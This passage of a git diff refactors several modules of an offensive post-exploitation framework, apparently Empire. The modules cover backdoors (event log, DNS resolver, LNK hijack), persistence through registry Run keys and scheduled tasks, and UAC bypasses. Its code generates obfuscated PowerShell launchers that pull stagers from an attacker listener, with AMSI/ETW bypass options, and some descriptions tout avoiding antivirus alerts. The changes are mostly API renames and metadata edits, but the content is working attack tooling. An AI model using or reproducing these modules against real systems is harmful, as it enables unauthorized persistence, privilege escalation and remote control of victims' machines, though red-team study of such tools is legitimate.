script = """
function Invoke-EventLogBackdoor
{
@@ -65,7 +62,7 @@ def generate(
else:
# set the listener value for the launcher
- stager = main_menu.stagers.stagers["multi/launcher"]
+ stager = main_menu.stagertemplatesv2.new_instance("multi_launcher")
stager.options["Listener"] = listener_name
stager.options["Base64"] = "False"
@@ -90,20 +87,20 @@ def generate(
else:
script += " -" + str(option) + " " + str(values)
- outFile = params["OutFile"]
- if outFile != "":
+ out_file = params["OutFile"]
+ if out_file != "":
# make the base directory if it doesn't exist
if (
- not os.path.exists(os.path.dirname(outFile))
- and os.path.dirname(outFile) != ""
+ not os.path.exists(os.path.dirname(out_file))
+ and os.path.dirname(out_file) != ""
):
- os.makedirs(os.path.dirname(outFile))
+ os.makedirs(os.path.dirname(out_file))
with open(out_file, "w") as f:
f.write(script)
return handle_error_message(
- "[+] PowerBreach deaduser backdoor written to " + outFile
+ "[+] PowerBreach deaduser backdoor written to " + out_file
)
# transform the backdoor into something launched by powershell.exe
@@ -119,7 +116,7 @@ def generate(
% (parts[0], " ".join(parts[1:]))
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml
index 650390eb7..2c2c91c4d 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml
+++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.yaml
@@ -1,8 +1,11 @@
name: Invoke-EventLogBackdoor
authors:
- - '@sixdub'
+ - name: ''
+ handle: '@sixdub'
+ link: ''
description: Starts the event-loop backdoor.
software: ''
+tactics: []
techniques:
- T1084
background: false
@@ -39,4 +42,4 @@ options:
required: true
value: '30'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py
index 2e3a4d873..6d80fa646 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py
+++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
script = """
function Invoke-ResolverBackdoor
{
@@ -73,7 +70,7 @@ def generate(
else:
# set the listener value for the launcher
- stager = main_menu.stagers.stagers["multi/launcher"]
+ stager = main_menu.stagertemplatesv2.new_instance("multi_launcher")
stager.options["Listener"] = listener_name
stager.options["Base64"] = "False"
@@ -127,7 +124,7 @@ def generate(
% (parts[0], " ".join(parts[1:]))
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml b/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml
index ce35c0ade..371639c33 100644
--- a/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml
+++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.yaml
@@ -1,8 +1,11 @@
name: Invoke-ResolverBackdoor
authors:
- - '@sixdub'
+ - name: ''
+ handle: '@sixdub'
+ link: ''
description: Starts the Resolver Backdoor.
software: S0194
+tactics: []
techniques:
- T1015
background: false
@@ -43,4 +46,4 @@ options:
required: true
value: '30'
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
index ec0d531a1..ad3028949 100644
--- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
+++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# management options
lnk_path = params["LNKPath"]
ext_file = params["ExtFile"]
@@ -53,7 +50,7 @@ def generate(
language="powershell",
encode=False,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -62,7 +59,7 @@ def generate(
launcher = launcher.replace("$", "`$")
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -112,7 +109,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -129,7 +126,7 @@ def generate(
% (lnk_path, listener_name)
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml
index 68d09e54a..f4a5db7ed 100644
--- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml
+++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.yaml
@@ -1,9 +1,11 @@
name: Invoke-BackdoorLNK
authors:
- - '@harmj0y'
-description: Backdoor a specified .LNK file with a version that launches the original
- binary and then an Empire stager.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Backdoor a specified .LNK file with a version that launches the original binary and then an Empire stager.
software: ''
+tactics: []
techniques:
- T1204
- T1023
@@ -28,26 +30,28 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: LNKPath
description: Full path to the .LNK to backdoor.
required: true
value: ''
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: true
value: HKCU:\Software\Microsoft\Windows\debug
- name: ExtFile
@@ -59,8 +63,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -68,10 +71,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'persistence/Invoke-BackdoorLNK.ps1'
+script_path: persistence/Invoke-BackdoorLNK.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py
index 2adf12f7a..dfcd26c96 100644
--- a/empire/server/modules/powershell/persistence/userland/registry.py
+++ b/empire/server/modules/powershell/persistence/userland/registry.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
key_name = params["KeyName"]
@@ -78,7 +75,7 @@ def generate(
+ ";"
)
script += "'Registry Persistence removed.'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -113,7 +110,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -205,7 +202,7 @@ def generate(
script += "'Registry persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/userland/registry.yaml b/empire/server/modules/powershell/persistence/userland/registry.yaml
index 89ad55020..002195893 100644
--- a/empire/server/modules/powershell/persistence/userland/registry.yaml
+++ b/empire/server/modules/powershell/persistence/userland/registry.yaml
@@ -1,11 +1,18 @@
name: Invoke-Registry
authors:
- - '@mattifestation'
- - '@harmj0y'
- - '@enigma0x3'
-description: Persist a stager (or script) via the HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- registry key. This has an easy detection/removal rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@enigma0x3'
+ link: ''
+description: Persist a stager (or script) via the HKCU:SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. This has
+ an easy detection/removal rating.
software: ''
+tactics: []
techniques:
- T1060
background: false
@@ -26,26 +33,28 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: KeyName
description: Key name for the run trigger.
required: true
value: Updater
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKCU:Software\Microsoft\Windows\CurrentVersion\Debug
- name: ADSPath
@@ -53,8 +62,7 @@ options:
required: false
value: ''
- name: EventLogID
- description: Store the script in the Application event log under the specified EventID.
- The ID needs to be unique/rare!
+ description: Store the script in the Application event log under the specified EventID. The ID needs to be unique/rare!
required: false
value: ''
- name: ExtFile
@@ -66,8 +74,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -75,9 +82,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py
index 449618952..64aa77558 100644
--- a/empire/server/modules/powershell/persistence/userland/schtasks.py
+++ b/empire/server/modules/powershell/persistence/userland/schtasks.py
@@ -1,13 +1,11 @@
from __future__ import print_function
import os
-import pathlib
from builtins import object, str
from typing import Dict
from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -15,12 +13,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# trigger options
daily_time = params["DailyTime"]
idle_time = params["IdleTime"]
@@ -76,7 +73,7 @@ def generate(
script += "schtasks /Delete /F /TN " + task_name + ";"
script += "'Schtasks persistence removed.'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
@@ -111,7 +108,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -198,7 +195,7 @@ def generate(
script += "'Schtasks persistence established " + status_msg + "'"
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.yaml b/empire/server/modules/powershell/persistence/userland/schtasks.yaml
index d7b4ba463..32a094d38 100644
--- a/empire/server/modules/powershell/persistence/userland/schtasks.yaml
+++ b/empire/server/modules/powershell/persistence/userland/schtasks.yaml
@@ -1,10 +1,14 @@
name: Invoke-Schtasks
authors:
- - '@mattifestation'
- - '@harmj0y'
-description: Persist a stager (or script) using schtasks. This has a moderate detection/removal
- rating.
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Persist a stager (or script) using schtasks. This has a moderate detection/removal rating.
software: S0111
+tactics: []
techniques:
- T1053
background: false
@@ -25,19 +29,22 @@ options:
required: false
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: DailyTime
description: Daily time to trigger the script (HH:mm).
required: false
@@ -51,8 +58,7 @@ options:
required: true
value: Updater
- name: RegPath
- description: Registry location to store the script code. Last element is the key
- name.
+ description: Registry location to store the script code. Last element is the key name.
required: false
value: HKCU:\Software\Microsoft\Windows\CurrentVersion\debug
- name: ADSPath
@@ -68,8 +74,7 @@ options:
required: false
value: ''
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -77,9 +82,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py
index 3502a9997..a5be3dad6 100644
--- a/empire/server/modules/powershell/privesc/ask.py
+++ b/empire/server/modules/powershell/privesc/ask.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,7 +11,7 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -40,7 +37,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -70,7 +67,7 @@ def generate(
enc_launcher
)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end="",
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/ask.yaml b/empire/server/modules/powershell/privesc/ask.yaml
index 80ce05078..7085c9d43 100644
--- a/empire/server/modules/powershell/privesc/ask.yaml
+++ b/empire/server/modules/powershell/privesc/ask.yaml
@@ -1,11 +1,13 @@
name: Invoke-Ask
authors:
- - Jack64
-description: Leverages Start-Process' -Verb runAs option inside a YES-Required loop
- to prompt the user for a high integrity context before running the agent code. UAC
- will report Powershell is requesting Administrator privileges. Because this does
+ - name: Jack64
+ handle: ''
+ link: ''
+description: Leverages Start-Process' -Verb runAs option inside a YES-Required loop to prompt the user for a high integrity
+ context before running the agent code. UAC will report Powershell is requesting Administrator privileges. Because this does
not use the BypassUAC DLLs, it should not trigger any AV alerts.
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -26,22 +28,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -49,9 +53,8 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py
index c93f6fcd9..c71f1f39c 100644
--- a/empire/server/modules/powershell/privesc/bypassuac.py
+++ b/empire/server/modules/powershell/privesc/bypassuac.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
user_agent = params["UserAgent"]
proxy = params["Proxy"]
@@ -32,7 +28,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -63,7 +59,7 @@ def generate(
else:
script_end = 'Invoke-BypassUAC -Command "%s"' % (launcher)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac.yaml b/empire/server/modules/powershell/privesc/bypassuac.yaml
index 1eb91eea7..be457e6b0 100644
--- a/empire/server/modules/powershell/privesc/bypassuac.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac.yaml
@@ -1,16 +1,28 @@
name: Invoke-BypassUAC
authors:
- - Leo Davidson
- - '@meatballs__'
- - '@TheColonial'
- - '@mattifestation'
- - '@harmyj0y'
- - '@sixdub'
-description: Runs a BypassUAC attack to escape from a medium integrity process to
- a high integrity process. This attack was originally discovered by Leo Davidson.
- Empire uses components of MSF's bypassuac injection implementation as well as an
+ - name: Leo Davidson
+ handle: ''
+ link: ''
+ - name: ''
+ handle: '@meatballs__'
+ link: ''
+ - name: ''
+ handle: '@TheColonial'
+ link: ''
+ - name: Matt Graeber
+ handle: '@mattifestation'
+ link: https://twitter.com/mattifestation
+ - name: ''
+ handle: '@harmyj0y'
+ link: ''
+ - name: ''
+ handle: '@sixdub'
+ link: ''
+description: Runs a BypassUAC attack to escape from a medium integrity process to a high integrity process. This attack was
+ originally discovered by Leo Davidson. Empire uses components of MSF's bypassuac injection implementation as well as an
adapted version of PowerSploit's Invoke--Shellcode.ps1 script for backend lifting.
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -34,22 +46,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -57,10 +71,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-BypassUAC.ps1'
+script_path: privesc/Invoke-BypassUAC.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py
index 6767b9f34..030dfa377 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_env.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_env.py
@@ -1,11 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -13,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
listener_name = params["Listener"]
user_agent = params["UserAgent"]
@@ -31,7 +28,7 @@ def generate(
launcher_obfuscate = False
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -50,7 +47,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -61,7 +58,7 @@ def generate(
return handle_error_message("[!] Error in launcher generation.")
else:
script_end = 'Invoke-EnvBypass -Command "%s"' % (enc_script)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.yaml b/empire/server/modules/powershell/privesc/bypassuac_env.yaml
index 95c2e1c1f..67718bff3 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_env.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_env.yaml
@@ -1,10 +1,12 @@
name: Invoke-EnvBypass
authors:
- - Petr Medonos
-description: Bypasses UAC (even with Always Notify level set) by by performing an
- registry modification of the "windir" value in "Environment" based on James Forshaw
- findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html)
+ - name: Petr Medonos
+ handle: ''
+ link: ''
+description: Bypasses UAC (even with Always Notify level set) by by performing an registry modification of the "windir" value
+ in "Environment" based on James Forshaw findings(https://tyranidslair.blogspot.cz/2017/05/exploiting-environment-variables-in.html)
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -25,22 +27,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
+ description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
- value: 'mattifestation etw'
+ value: mattifestation etw
- name: UserAgent
- description: User-agent string to use for the staging request (default, none, or
- other).
+ description: User-agent string to use for the staging request (default, none, or other).
required: false
value: default
- name: Proxy
@@ -48,10 +52,9 @@ options:
required: false
value: default
- name: ProxyCreds
- description: Proxy credentials ([domain\]username:password) to use for request (default,
- none, or other).
+ description: Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
required: false
value: default
-script_path: 'privesc/Invoke-EnvBypass.ps1'
+script_path: privesc/Invoke-EnvBypass.ps1
advanced:
- custom_generate: true
\ No newline at end of file
+ custom_generate: true
diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
index 4f234198e..01332fd55 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
+++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py
@@ -1,12 +1,9 @@
from __future__ import print_function
-import pathlib
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
@@ -14,12 +11,11 @@ class Module(object):
@staticmethod
def generate(
main_menu,
- module: PydanticModule,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
-
# staging options
user_agent = params["UserAgent"]
listener_name = params["Listener"]
@@ -32,7 +28,7 @@ def generate(
launcher_obfuscate_command = params["ObfuscateCommand"]
# read in the common module source code
- script, err = main_menu.modules.get_module_source(
+ script, err = main_menu.modulesv2.get_module_source(
module_name=module.script_path,
obfuscate=obfuscate,
obfuscate_command=obfuscation_command,
@@ -51,7 +47,7 @@ def generate(
language="powershell",
encode=True,
obfuscate=launcher_obfuscate,
- obfuscationCommand=launcher_obfuscate_command,
+ obfuscation_command=launcher_obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
@@ -64,7 +60,7 @@ def generate(
else:
script_end = 'Invoke-EventVwrBypass -Command "%s"' % (encScript)
- script = main_menu.modules.finalize_module(
+ script = main_menu.modulesv2.finalize_module(
script=script,
script_end=script_end,
obfuscate=obfuscate,
diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml
index c97519544..3960a791b 100644
--- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml
+++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.yaml
@@ -1,9 +1,12 @@
name: Invoke-EventVwrBypass
authors:
- - '@enigma0x3'
-description: Bypasses UAC by performing an image hijack on the .msc file extension
- and starting eventvwr.exe. No files are dropped to disk, making this opsec safe.
+ - name: ''
+ handle: '@enigma0x3'
+ link: ''
+description: Bypasses UAC by performing an image hijack on the .msc file extension and starting eventvwr.exe. No files are
+ dropped to disk, making this opsec safe.
software: ''
+tactics: []
techniques:
- T1088
background: true
@@ -24,22 +27,24 @@ options:
required: true
value: ''
- name: Obfuscate
- description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
- for obfuscation types. For powershell only.
+ description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell
+ only.
required: false
value: 'False'
+ strict: true
+ suggested_values:
+ - True
+ - False
- name: ObfuscateCommand
- description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
- is True. For powershell only.
